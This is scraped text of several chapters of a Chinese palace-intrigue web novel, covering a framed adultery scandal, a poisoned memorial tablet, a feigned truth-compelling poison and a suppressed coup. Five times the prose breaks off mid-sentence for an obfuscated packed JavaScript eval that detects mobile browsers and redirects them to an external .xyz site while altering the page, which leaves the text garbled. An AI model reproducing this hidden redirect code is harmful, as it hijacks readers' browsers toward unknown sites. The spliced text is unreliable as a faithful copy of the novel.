她抓住任何机会,不遗余力地贬低陆知苒。 只有将她贬得一无是处,才能向世人证明,她有多难能可贵。 楚翊安的拳头握得咯咯作响。 方氏一副痛心疾首的模样,“老爷,苒姐儿实在是太荒唐了!怎能在佛门之地做这种事?她将您的颜面,将陆家的颜面置于何地?” 方氏一向不喜欢陆知苒,陆贯轩平时睁一只眼闭一只眼也就算了,但现在是什么时候!他没想到这种情况下方氏竟也跟着给苒姐儿,给陆家抹黑! 他恼怒地剜了方氏一眼,“事情还没弄清楚,你也跟着胡说八道些什么!” 方氏又怎么不知道这一招有多险,稍不注意,就会带累她溪儿的名声。 但事已至此,她唯有摁死陆知苒,让她再也翻不了身! 否则一切都白做了! 方氏冷声道:“老爷,事实已经摆在了眼前,你还要继续自欺欺人到什么时候?你以为苒姐儿还是以前的她?她早就变了,行事越发乖张!” “头天,在这小院里,她一言不合就甩了溪儿一记耳光,连我这个母亲也半点不放在眼里,她能做出任何出格的举动来,都半点不奇怪。” 方氏当众揭短,陆知苒的名声被踩到了谷底。 陆贯轩气得额角青筋直跳,“你个蠢妇,有什么事不能回家关起门来说?在这里胡咧咧,你就不怕连累了溪儿的名声?” 方氏扬起声音,“真要论起来,溪儿与她也算不得真正的亲姐妹,她随了前头那位,生性浪荡,不知廉耻,我的溪儿可是安守本分,清清白白的好姑娘,大家都是明理之人,自然不会把她们混为一谈。” 她彻底撕下了伪善的面具,陆贯轩瞠目结舌,好半晌没能说出话来。 这个蠢妇,她,她真是反了天了。 楚翊安冷着脸,“不必多言,直接把门打开就是!有没有奸夫,大家有眼睛,能看得到。” 陆贯轩心头一紧,“不行!” 面对昔日岳丈,楚翊安半点情面都不留,“为何不行?莫不是陆大人也心虚,害怕了?” 陆贯轩气得跳脚,“若里面没有你们所谓的奸夫,你们这般贸然闯进去,岂不是平白坏了我女儿的名声?她可是皇上亲封的县主,你们开罪得起吗?” 他搬出了县主的名头,便是想借势压一压他们,叫他们有所忌惮。 只要把这一关糊弄过去,旁的事日后再说。 但这本就是专为陆知苒设好的陷阱,赵书宁又岂会这般轻巧揭过? “陆大人所言在理,不妨这样,我们先敲门,让平乐县主穿戴整齐之后主动开门,如此就不存在陆大人担心之事了。” 陆贯轩还想阻拦,但却找不到理由。 楚云清比谁都积极,第一个冲上去,扬起手就“砰砰”砸门。 “开门,快开门!” 屋子里传来一阵窸窣的响动,却无人回应。 楚云清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161966|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍得手都疼了,房门依旧闭得紧紧的。 楚翊安的怒意达到了顶峰。 “砸门!” 他倒要看看,能让陆知苒在佛门之地都敢偷腥的男人,究竟是何许人也! 赵书宁早有准备,她带来的侯府的两个粗壮婆子直接走过来,把门撞开。 门刚一开,就有一个男子用袖子遮着脸走了出来。 这男子一出现,立马引得众人一阵哗然。 方氏眼底闪过得逞的快意,“果然有其母就有其女,两母女都是不安分的狐媚子!” 陆贯轩大骂,“你闭嘴,少说两句!” 方氏不说话了,但楚云清可不会藏着掖着。 “我就说她的屋子里藏了男人吧!我不可能听错!” 姜氏满脸嫌恶,高声大骂,“陆知苒这个**,在佛门之地都敢如此浪荡,简直是不知廉耻!她这样的人,就该押去沉塘!” 楚云清:“奸夫也该一起沉塘!” 那奸夫遮着脸,压着声音,“姑母,表妹,是,是我啊!你们快别喊了。” 姜氏和楚云清的神情顿住。 这声音…… 还来不及反应,楚翊安就像一头暴怒的狮子,冲上来直接把那畏畏缩缩的男人一把掀翻在地。 男人被掀翻在地,痛得哎哟叫唤,那张脸也彻底暴露在人前。 楚翊安满腔的暴怒瞬间凝固成了五雷轰顶的震惊。 这人,楚翊安简直再熟悉不过。 这不正是他那猥琐好色的表哥吗? “姜!星!熠!怎么是你!” 姜星熠是姜家唯一的嫡子,整日寻花问柳,小妾一个接一个地往家里纳。 前头的妻子接连**两个,这几年姜家一直在给他重新张罗续弦。 但他的名声已经烂透了,京中但凡有头有脸的人家,都不可能把女儿嫁给他。 赵书宁千挑万选,才选中了姜星熠这个绝佳人选。 这也是让方氏愿意放手一搏的关键! 姜星熠的品行有多低劣,陆知苒今后的日子就会有多凄惨。 第372章 ** 李贵妃当即跪下,“皇上恕罪,臣妾,臣妾并非有意,一切都只是意外,臣妾也不知道为何会这样……” 李贵妃语无伦次,完全失去了以往的镇定自若。 德丰帝嫌恶地转开目光,转而问一旁的吴嬷嬷。 “你来说,究竟是怎么一回事。” 吴嬷嬷自是不会替李贵妃遮掩,她将事情的始末原原本本尽数道来。 原来,李贵妃之所以来见皇后,全是为了萧晏清。 藩王不能在京中久留,过完元宵之后,差不多就要启程返回封地。 萧晏清也被勒令差不多的时候启程。 李贵妃想请皇后开口替萧晏清求情,让他留在京城,过完萧宝珠的及笄礼再走。 李贵妃会如此谋划,自然是因为心中不甘,妄图再想其他法子力挽狂澜。 本以为这么一桩小事孙皇后会答应,但她没想到,孙皇后一口就拒绝了,态度也很冷淡。 吴嬷嬷:“前朝之事,乃皇上决断,皇后岂能干预?贵妃之请求分明是强人所难,皇后自然不会答应。谁料贵妃竟是伸手拉扯皇后,皇后身子本就虚浮,哪里禁得住她的拉扯?脚下一个不稳,这才摔了。” 吴嬷嬷将此番经过尽数道来,语气尽量平静,但依旧难掩悲愤。 萧晏清听了这番话,心头最后一丝侥幸彻底熄灭,后背冷汗打湿了衣裳。 母妃糊涂! 李贵妃也后悔,悔得肠子都青了。 她哪里知道,孙皇后的身体竟然这么不堪一击?简直就似豆腐似的,一碰就碎。 这个罪名扣在她的头上,他们母子就真的没有翻身的可能了。 李贵妃重重叩首,“皇上恕罪,臣妾真的是无心的,臣妾便是有天大的胆子,也不敢谋害皇后啊。” 萧晏清也跟着跪下,一并请罪。 “父皇,母妃是爱子心切,不舍儿臣,才会到皇后跟前恳求此事,也是一时失手,才酿此大祸。一切都因儿臣而起,父皇要怪,就怪儿臣吧。” 德丰帝冷冷道:“皇后若是有个闪失,你们母子都脱不了干系!” 这话说得极重,萧晏清和李贵妃的脸上血色再次褪尽。 萧宝珠立在孙皇后的床边,双目含泪地看着她。 除夕那夜,母后终于现身人前,萧宝珠心里对她存了怨气,一直不肯来见。 她原本打算明日来见母后,亲口告诉她,自己有了一门心仪的好亲事。 没想到,今夜就发生了这样的事。 她的手脚冰冷,脑子都乱成了一团。 陆知苒立在她身侧,只能握着她的手,以作安慰,旁的什么都做不了。 生死有命,孙皇后能不能撑过来,就看她自己了。 御医终于收了针,但他的眉头紧锁,脸色并不好看。 “回皇上,皇后娘娘身子本就亏损严重,已是**之末,此番遭受重创,彻底损了元气,而今只余一缕微弱呼吸,微臣实在无能为力。” 萧宝珠身子一个趔趄,陆知苒用力扶住她,才没有摔倒。 李贵妃和萧晏清亦是面色惨白。 孙皇后本就是濒死之人,但偏偏李贵妃撞到了枪口上,若孙皇后因此一命呜呼,她就要被扣上一个谋害皇后的罪名。 那她,也没活路了。 德丰帝对此结果已经早有预料,心头依旧沉了沉。 这时,睿亲王站了出来,他满脸急切。 “皇兄,臣弟自封地带来了一个大夫,医术极佳,臣弟斗胆让他给皇嫂一试。” 萧宝珠抓住德丰帝的手臂,哀求,“父皇,让他来试试吧,兴许母后还有救呢?” 德丰帝知道,孙皇后多半是回天无力了。 但他也不忍心驳了萧宝珠的请求,便点头答应了。 睿亲王先前就已经派人去请大夫,得了德丰帝点头,人很快就被接了进来。 那大夫名唤马兴义,是个干瘦的小老头。 一番诊治施针,马兴义的眉头便没有舒展过。 足足小半个时辰,这一整套施针方结束。 “皇上,草民斗胆直言,皇后娘娘先前应是中了毒。” 这话一出,众人皆惊。 德丰帝的面色更是陡然沉了下去。 “此话当真?” “草民不敢妄言。若草民诊断没错的话,皇后所中的毒应是梦魂香,且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691984|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' **已有近十年之久,只是那毒性很轻,所以不易被发现。” 近十年之久! 何人竟如此胆大妄为,敢在坤宁宫下毒? 德丰帝周身都带着一股风雨欲来的威压,“真是岂有此理!” 众人齐齐跪下,不敢直视龙颜。 “你可能查出**的源头在何处?” 马兴义小心回话,“若草民见了那毒物,应能分辨得出。” “好,朕允你在殿内搜查,便有损毁东西,朕也恕你无罪。” 马兴义得了这话,这才开始在殿内搜寻起来。 他走到了佛龛面前,上面摆着一个小小的牌位,那是大皇子的牌位。 马兴义告了一声罪,旋即将其取了下来,凑到鼻尖嗅了嗅,眉头蹙了起来。 “这牌位可有问题?” 马兴义恭敬道:“皇上,草民不敢断定,若要查验清楚,需得将其砸碎,但这牌位也势必要毁了。” 德丰帝毫不迟疑,“砸!” 大皇子已经**那么多年,空留着一个牌位有何用? 马兴义将那观音像狠狠砸下,瞬间摔得粉碎。 那里面,果然另有玄机。 那牌位中间竟是镂空的,里面放着一包东西,散发着若有若无的味道。 众人下意识掩住了口鼻。 马兴义拿起那东西,笃定道:“正是此物。” 德丰帝沉着脸,示意御医上前查看。 那御医也给出了同样的答复,那正是梦魂香。 经年累月地接触此物,可让人身体日渐虚弱。 而常年郁结于心,情绪起伏过大之人,更易受此影响。 孙皇后一直对大皇子之死耿耿于怀,每日都会亲自擦拭牌位,更会时常拿在手中细细抚摸。 忆起往事,她也总会情绪失控,悲痛欲绝,那梦魂香就更易侵入心脉。 一切都对得上了。 德丰帝的脸色十分难看,“究竟是何人,竟如此胆大包天,敢在大皇子的牌位上动手脚!” 吴嬷嬷愣怔许久,好半晌才回过神来。 她声音颤抖,“皇上,奴婢想起来了,这牌位,是李贵妃从宫外请回来的!” 第461章 赵昭仪的老底 赵书宁幽幽开口,“当初是你们主动找到我,救下我,告知了我自己的身份,还承诺要给我享不尽的荣华富贵,而今,却眼也不眨地将我推出去顶罪。” “姑母,并非我背叛在先,是你,你先舍弃了我。我这人,自小便锱铢必较,旁人如何对我,我便也要如何奉还。” 赵昭仪听着这番话,只觉得自己当真救了一头白眼狼。 “你当真是个祸害,是个妖孽!你早该**!” 赵书宁凉凉地笑了笑,“是啊,我早就该**,我甚至本不该来到这人世间。这一切,我有的选吗?” “千不该万不该,我那禽兽父亲,不该留下我这个种。而你们,也不该为了一己之私,将我从狱中救出来。种什么因,得什么果,这一切,都是你们咎由自取。” 赵昭仪听到她说“禽兽父亲”,面皮禁不住一阵抖动,眼底浮出怒意。 赵书宁云淡风轻地笑着,“我的好姑母,事已至此,你觉得一切还瞒得住吗?与其徒劳无功地浪费口舌,不如干脆一些,和盘托出,兴许,还能留个全尸呢。” 赵昭仪颓然地瘫软在地,脸上一片冰凉的泪意。 她不想死! 尤其是曾经站在过最高峰,正是最春风得意的时候,陡然从高处坠落,那种巨大的落差,足以将一个人的心智击垮。 不用赵昭仪亲口承认,姑侄二人的这番话已然给了众人答案。 德丰帝眼底嫌恶,“来人,把她们拖下去!” 柔贵妃却是开口,“皇上,臣妾还有一事想问问赵昭仪。” 德丰帝点头允了。 柔贵妃目光定定地落在赵昭仪的身上,“十几年前,惠嫔曾有孕,但她的孩子却意外流产了。我赠给她一株灵芝,在有心人的刻意引导下,她一直认为是我送的灵芝有问题,害她小产,她也因此记恨了我十几年。此事,是否是你所为?” 赵昭仪矢口否认,“我根本不知此事。” 柔贵妃料定她不会承认,语气冰冷,“若要人不知,除非己莫为,赵昭仪,你可以不承认,但你的身边人,是否也能如你这般嘴硬?” “你身边那个沈嬷嬷,看起来便不是能扛得住事的人,你现在不说,我便让她与你当面对质。” 赵昭仪的眼神闪了闪。 柔贵妃原本还不确定,但见此情形,岂还有不明白的?这事果真与她脱不开干系。 德丰帝也是第一次听说此事,脸色当即一片阴沉。 “赵氏,你最好给朕老实交代,不然,朕定要将你凌迟处死!” 赵昭仪狠狠打了个哆嗦。 凌迟处死,光是听到这四个字,已然仿佛能感受到那股深入骨髓的痛。 “皇上饶命啊,此事并非是臣妾所为,而是沈嬷嬷擅作主张,私自做的,臣妾也是过后才知道的啊……” 她将所有的责任都往外推,妄图把自己撇得一干二净。 但大家都不是傻子,实情如何,岂会猜不到? 她越是辩解,不肯承认,反而越坐实了她的嫌疑。 德丰帝额角的青筋突突直跳。 “你个毒妇!竟敢谋害皇嗣,究竟谁给你的胆子!” 睿亲王开了口,“皇兄,臣弟也有一件事想问问赵昭仪。” 德丰帝已经有些不耐烦了,但对睿亲王,他还是多了几分耐心。 不知为何,赵昭仪的心中升起几分不好的预感。 这预感很快得到了验证。 睿亲王直接抛出了一个令她肝胆俱颤的问题。 “皇后娘娘宫中的大皇子牌位被人动了手脚,让皇后身体日渐虚弱,亏了根本,此事,是否也与你们有关?” 这话让在场之人都惊了一跳,萧宝珠更是瞬间瞪大了眼。 赵昭仪眼神飞快地闪了闪,旋即立马高声喊冤。 “冤枉,简直是大大的冤枉,此事分明是李贵妃所为,怎么又赖到了我的头上来了?而今我们母子成了人人喊打的落水狗,便什么脏的臭的事都往我们头上扣,哪有这样的道理?” 赵昭仪说着就开始抹眼泪,神色十分哀戚。 “皇上,此事是您当日所裁断,而今睿亲王旧事重提,还把这口黑锅往臣妾身上甩,臣妾受了冤枉没什么,但他此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979016|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举,岂不是在质疑皇上您当初的决定?” 好一番祸水东引。 三言两语,就把此事的重点引到睿亲王身上。 睿亲王立马请罪,“皇上,臣弟绝无质疑您的意思,臣弟只是方才听到了惠嫔的旧事,心中突然生出联想罢了,若是误会了,臣弟甘愿领罚,但若此事当真另有隐情,也断不能让奸人蒙混过关。” 萧宝珠也站了出来,“父皇,皇叔所言极是!此事究竟是否另有隐情,总要查清楚!” 萧婉贞也神情激动,“父皇,母妃定是冤枉的!当初那牌位是母亲经手的,她岂会傻到直接在上面动手脚?此事定是有人故意构陷!赵昭仪心思歹毒,赵家更早有不臣之心,早在十几年前就处心积虑地在各家安排眼线,此事赵昭仪的嫌疑最大!” 赵昭仪被众人指控,脸上不禁露出慌乱来。 德丰帝面色沉沉,“赵昭仪,朕给你最后一次机会,此事,究竟与你是否相关?若当真是你做的,你现在交代,朕还能网开一面,给你留一具全尸。” 赵昭仪声音哆嗦,眼神飘忽,“皇,皇上,臣妾没有,臣妾真的是冤枉的……” 德丰帝又看向萧晏临,“老八,朕也同样给你机会。你若是知情,朕亦会记你一功。” 萧晏临双目失神涣散,毫无聚焦,好似神游在外。 听了德丰帝的问话,他也好半晌才反应过来。 他缓缓摇头,“儿臣对此事并不知情。父皇,母妃不可能做这样的事,还请您明查。” 事情过了十几年,要查起来并不容易。 他们不可能承认,平白让自己身上多一道罪名。 “好好好,既然你们都不承认,那便给朕彻查到底!” 这时,旁边有一道声音冷不丁地传来。 “皇上,民女有一个法子,或许能让赵昭仪说实话。” 说话之人赫然是赵书宁。 瞬间,所有人都看向了她。 赵昭仪面色发紧,萧晏临目光也阴沉沉的,赵书宁对此视若无睹。 德丰帝沉声开口,“说吧,你有什么法子?” 第462章 不折不扣的大恶人 赵书宁:“民女这段时间恰好在培育一种蛊虫,名为真言蛊,此蛊能让人说出真心话,此蛊恰好在民女的身上,现在就能用上。” 赵昭仪悚然一惊,失态地尖叫出声,“你个忘恩负义的东西,怎敢对我使那样的手段?” 赵书宁对她的话充耳不闻,只静静等候德丰帝的吩咐。 德丰帝冷冷吐出一个字,“准。” 赵书宁起身,朝赵昭仪走去。 赵昭仪连连后退,最后被两个宫人按住,她尖叫怒骂,却都是徒劳,赵书宁形如恶鬼,毫不留情地对她下手。 陆知苒看着这一幕,心中没有太大波澜。 这就是赵书宁的本性。 极度冷静,极度利己。 方才赵昭仪能毫不犹豫地卖了她,她亦能以其人之道还治其人之身。 或许,这就是赵家人的秉性。 赵昭仪被下了蛊,很快就痛苦地在地上扭曲打滚,脸上满是狰狞,全无半分宫妃的仪态。 赵书宁蹲下身子,语气幽幽地看着她,“姑姑,说吧,说了实话,就不会痛苦了。你继续嘴硬,什么都不说,那些蛊虫就会一点点啃噬你的心肝脾肺肾,让你感受何为钻心之痛。” 赵昭仪想骂她心狠手辣,狼心狗肺,猪狗不如,但实在太痛了,她连骂人的力气都没有。 “姑姑,你还不愿意开口吗?再过一盏茶的时间,毒性会加剧,你所经受的痛苦,会是现在的十倍……” 赵昭仪发出一声撕心裂肺的痛苦惨叫,指甲狠狠掐进肉里,掐得劈了叉,渗出血来。 眼下的疼痛已经超出了极限,十倍的疼痛岂是人能承受的? 赵书宁这话,终于击溃了她心底的最后防线。 “皇上,臣妾说……” 赵昭仪一边打滚,一边痛哭流涕地招了。 这件事,的确是她做的。 生下儿子之后,赵昭仪的贪念和野心便一点点慢慢滋长。 她自知自己身份卑微,明着争根本争不过,便只能在暗地里使手段。 她在宫中本无根基,但赵家为她提供了丰厚的钱财,有银子好办事,加上她还有一个得力的心腹,为她出谋划策,她才能布下这些暗棋。 那位得力的心腹是萧晏临的奶娘,是赵家人精心挑选的,前几年她去世了。 萧宝珠听了这番话,双目通红,心中的恨意汹涌澎湃,难以抑制。 睿亲王双手紧握成拳,握得咯咯作响。 这个蛇蝎妇人,害惨了皇嫂! 赵昭仪痛苦地呻吟着,“皇上,臣妾这一次真的如实交代了,绝没有半个假话。请您高抬贵手,给臣妾解了这蛊毒吧!臣妾实在疼得受不了了。” 赵书宁这个时候方道:“民女有罪,方才欺瞒了皇上。民女手中并无真言蛊,方才给赵昭仪下的是一种**,只是为了诱她道出实情罢了。” 这话一出,所有人都呆住了。 赵昭仪气得面容扭曲,想破口大骂,但紧接着一股剧痛席卷而来,她疼得在地上连连打滚,哀嚎不止。 萧晏临双目喷火,盯着赵书宁的眼神充满了恨意。 听着母妃一声声痛苦的哀嚎,他心头阵阵发紧。‘ “父皇,母妃就算做错了,也不该经受这样的折磨,还请父皇下旨,替母妃解了这毒。” 德丰帝面色阴沉,没有开口。 赵书宁却道:“此毒,臣女并无解药。” 萧晏临袖中的拳头一紧,牙关也咬紧了。 赵书宁,她怎么敢! 当初救下她,简直是自己做过的最错误的决定! 赵昭仪也听到了赵书宁的话,她心中绝望,一边打滚,一边大骂,骂声混杂着凄厉的惨叫,叫众人听得心头发紧,头皮发麻。 德丰帝现在最听不得吵闹,他压着眼底嫌恶。 “拖下去。” 她作恶多端,死有余辜,德丰帝没有半分同情。 赵昭仪被拖着往外而去,她一边挣扎,一边哭求。 “皇上,臣妾死不足惜,但临儿是无辜的,这些事他都不知情,他更是您的血脉,求求您,饶他一命吧!” 她没有得到回应就被拖走了。 殿内重新恢复平静。 所有人的目光都落在萧晏临的身上。 这场阴谋,他是最大的受益者。 若说他全然无辜,傻子都不信,更何况德丰帝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979017|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经此一遭,便是再深厚的父子情,也有了裂痕。 更何况,自古天家无父子。 这对父子的情分本就稀薄得可怜。 德丰帝没有理会萧晏临,而是把目光投向赵书宁,“你在朕面前耍小心机,是连朕也一起戏耍?” 赵书宁立马低头,连道不敢。 “民女只是想替皇上分忧。” 萧宝珠满脸嫌恶地看着她,“赵书宁,你以为你这样就能将功折罪?当初便是你亲手给父皇下的蛊毒,你和他们一样该死!” 赵书宁稳稳地跪在地上,语气平稳无波。 “民女自知罪孽深重,自是不敢求皇上饶命。民女性情狭隘,锱铢必较,赵昭仪毫不留情地舍弃了民女,民女便要把这口恶气出了,方能顺心。” 她自知死期将近,已经不欲做半点挣扎,但临死前,她要把该报的仇报了,多拉几个当垫背的。 看着赵昭仪那副痛苦的样子,还有萧晏临恨得咬牙切齿,又对她无可奈何的神色,她竟觉得心中分外痛快。 她果然是个不折不扣的大恶人。 这番自私狭隘的心思,她承认得坦荡,半点遮掩都没有,神色间,带着一股淡淡的疯感。 萧婉贞站了出来,“父皇,您把她交给儿臣吧!” 德丰帝蹙眉,语气不悦。 “你瞎掺和什么?” 萧婉贞一脸委屈,“父皇,儿臣先前也被赵书宁算计了一回!此前儿臣假孕之事,便是赵书宁设计的,儿臣事先根本不知,最后却被她反咬一口,时至今日,儿臣依旧咽不下心中这口气。” 德丰帝这时才想起此事,眉头不禁蹙起。 “赵书宁,此事是否当真?” 都说人之将死其言也善,此时的赵书宁没有再否认和辩解。 “此事确是民女所为。民女为了获得四公主的信任,才冒险用了假孕之药,谁料此事败露,民女为了自保,便攀扯此事是四公主所为,民女该死。” 听了她的承认,萧婉贞原本在心中积攒了这么久的委屈终于有了发泄。 “父皇,您听到了吗?儿臣是被她冤枉的!儿臣没有做过那样的事!” 第463章 瑾王立功 德丰帝脸色阴沉,“赵书宁,你好大的胆子!” “臣女罪该万死。” 萧婉贞恶狠狠地剜她,“你的确罪该万死!父皇,您把她交给儿臣吧!若不亲手诛之,难消儿臣心头之恨!” 德丰帝没有允,“上次之事,是你受委屈了,朕会给你补偿。但你是金枝玉叶,岂能自降身份,亲执刀兵?” 萧婉贞不甘心,但她到底不敢在德丰帝面前任性,只得恨恨闭嘴。 德丰帝淡声开口,“来人,将赵书宁押下去,择日处斩。其余乱臣贼子,一并收押处斩。朕要让世人看看,胆敢犯上作乱的下场。” 赵书宁听到了自己的结局,眼波微动,最后,平静地磕头领罪。 她被禁军架起来往外拖,与陆知苒错身而过。 二人的目光短暂地交汇,很快就分开了。 赵书宁想,自己终究还是输了,她到底输在哪里? 陆知苒想,如果她把心思用在正途上,定然能有一番作为,只可惜,她的路,一开始就走歪了。 一夜过去,此时已是晨光熹微,一缕晨辉映入大殿。 众人陡然想起,今日是大年初一。 新年伊始,本该是最放松惬意的时候,但在场无人能放松下来。 一阵脚步声由远及近,萧晏辞大步而入。 众朝臣见了他,露出各异神色。 萧晏临双目发直,死死盯着萧晏辞,眼底汹涌翻腾着诸多情绪。 他怎么这么命硬?自己派出这么多人,也没能除掉他! 自己苦心谋划,却功败垂成,心中实在不甘! 萧晏临现在都没有想明白,萧晏辞究竟是如何混入城中的。 而这一切都是睿亲王和孙牧之的功劳。 彼时,他们得知京中局势有异,便当机立断,决定绕道赶回京城。 孙牧之想起临行前萧宝珠给他的令牌,那是睿亲王所赠,他说过,只要见了那块令牌,定会无所保留地全力相帮。 他们决定冒险一试。 孙牧之和萧晏辞带着精锐,从滇南绕道蜀地,寻到睿亲王,向其求助。 幸而,他们选对了。 睿亲王以回京奔丧之名,快马加鞭赶回京城,孙牧之和萧晏辞,以及他们的精锐便这么顺利地混入了城中。 回京后,睿亲王曾到公主府做客,彼时他便带上了孙牧之和萧晏辞二人。 萧宝珠和陆知苒那时便与二人相认。 但他们来不及叙旧,那短暂的会面中,所谈都是正事。 匆匆一见,又匆匆分别。 大家都在暗地里做着自己该做之事,不敢有半分松懈。 陆知苒安排商行准备兵器,为他们的人手提供藏身之所,里应外合。 萧宝珠则在宫中运作,并提前让柔贵妃和德丰帝转移。 便是萧婉贞也帮了忙,她将自己所知的人脉信息尽数整理好了交给萧宝珠,其中有几个李贵妃留下的眼线,也派上了用场。 直到今夜,多方联动,一举反击,终于彻底地扭转了局势。 陆知苒和柔贵妃的目光飞快在萧晏辞的身上扫了一圈,眼底都是担忧。 他身上的玄铁重甲尚在滴血,甲胄上的刀痕纵横交错,暗红的血渍在寒铁上凝成斑驳的纹路,分不清是敌人的还是他自己的。 他有没有受伤? 萧晏辞单膝跪地,声音沙哑却沉稳。 “启禀父皇,儿臣幸不辱命,宫中禁军悉降!负隅顽抗者,尽诛于阶下!” 德丰帝脸上露出满意之色。 “好!瑾王,你这次立了大功!” 萧晏辞沉声,“一切都是儿臣该做的。儿臣万死不辞!” 紧接着,又陆续有喜报传来,城中和城外的情况也被控制住了。 萧晏临本下令京营骁骑、西山大营和通州驻防军三军合围“叛军”,但时间匆忙,西山大营和通州驻防军尚未赶到。 “叛军”之首并非瑾王萧晏辞,而是周卫海和龙鳞卫首领盛昌明。 盛昌明手持德丰帝圣旨与令牌,劝降骁骑军,无果,双方交战。 骁骑军仗着有火炮,本以为他们可以大败叛军,立下大功。 但谁都没料到,孙牧之从护城河送来了大家伙,也是火炮,而且不止一发。 有了火炮的加持,骁骑军节节败退,很快降了。 孙牧之道:“皇上,这几发火炮,乃恒瑞商行献上。幸而有此物,不然臣等也不可能那么快取胜。” 德丰帝闻言大喜,对恒瑞商行自是好一番嘉奖之词。 众臣中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980496|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧晏珩低垂着头,神色如常。 此前,他闻滇南与萧晏辞身负谋逆之罪,心知其中必有隐情。陆知苒亦修书相托,请其查探赵家之事。彼时,他对八皇弟萧晏临已生戒心。 未几,商行管事来报,道海外新购火炮数发,其威力远胜从前。 萧晏珩当即手书一封,命管事将此火器密送滇南,交予萧晏辞。 此举,便表明了他的立场和选择。 此番自封地返京,他迟归数日,实为绕道滇南,欲探萧晏辞境况。 因他身弱,难赴沙场,唯以他法相助。 好在,最后帮上了忙。 大局落定,德丰帝的脸上多了几分笑意,同时,身体也渐感疲惫。 但眼前,还有一桩大事没有处理。 萧晏临跪在德丰帝面前,听着各处传来的捷报,脸色一点点染上惨白,心头彻底地绝望了。 他没有再开口求饶,因为他知道,自己此时再多的辩解都是徒劳。 德丰帝也没给他开口的机会。 “八皇子悖逆人伦,谋害君父,罪无可赦。着即废为庶人,押送宗人府严加看管。念其终究是朕骨血,赐白绫一丈、鸠酒一杯,令其自择了断。死后不得入皇陵,以庶人礼葬之。” 帝王的声线冰冷,不带一丝温度。 萧晏临早有预料,但真正听到这话,身子依旧禁不住微微一颤。 他本以为,诸位皇兄归京,会是他最风光的时刻。 却不想,风光不过一瞬,他从高处跌落,摔得如此惨烈。 德丰帝又看着殿内众臣,群臣皆伏地叩首,不敢直视圣言。 有老臣痛哭请罪,“臣等愚昧昏聩,不辨真伪,轻信奸佞之言,以致有眼无珠,未能识破逆谋。今见天颜重光,方知罪孽深重,伏乞陛下圣裁。” 其余臣子纷纷跟着请罪。 德丰帝目光淡淡地扫向众人,“朕知尔等多受蒙蔽,非出本心。今只诛赵家首恶,其余一概不问。然尔等当以此为戒,若再有不察之失,定不轻饶。” 众臣闻言,齐齐舒了口气,以额触地,汗透重衣。 “臣等叩谢天恩!” “臣等必当洗心革面,竭忠尽智以报陛下不杀之恩。” 一场兵乱至此画上尾号。 第464章 看在安王的面子上 萧晏辞和孙牧之顾不上和自家媳妇多说话,就又转身忙碌了起来。 宫里宫外都经历了一场恶战,战后诸事都需清算料理。 各朝臣经历了惊心动魄的一个晚上,大家的精力不济,但这一日谁都不敢懈怠,一颗心高高悬着。 虽然皇上承诺不予追究,但谁知道事后是否会反过来清算? 尤其是那些积极拥护萧晏临登基的臣子,一个个心头惴惴,坐立难安。 德丰帝身子疲累,蒋南笙给他施了针之后就沉沉睡了过去。 柔贵妃也重新回到了自己的夕颜殿,陆知苒陪着她,婆媳二人终于能坐下来安安心心地说会儿话。 “你瘦了。” “母妃清减了。” 二人异口同声,开口的第一句都是对对方的关心。 旋即,二人相视而笑,眼底都带着一丝感慨。 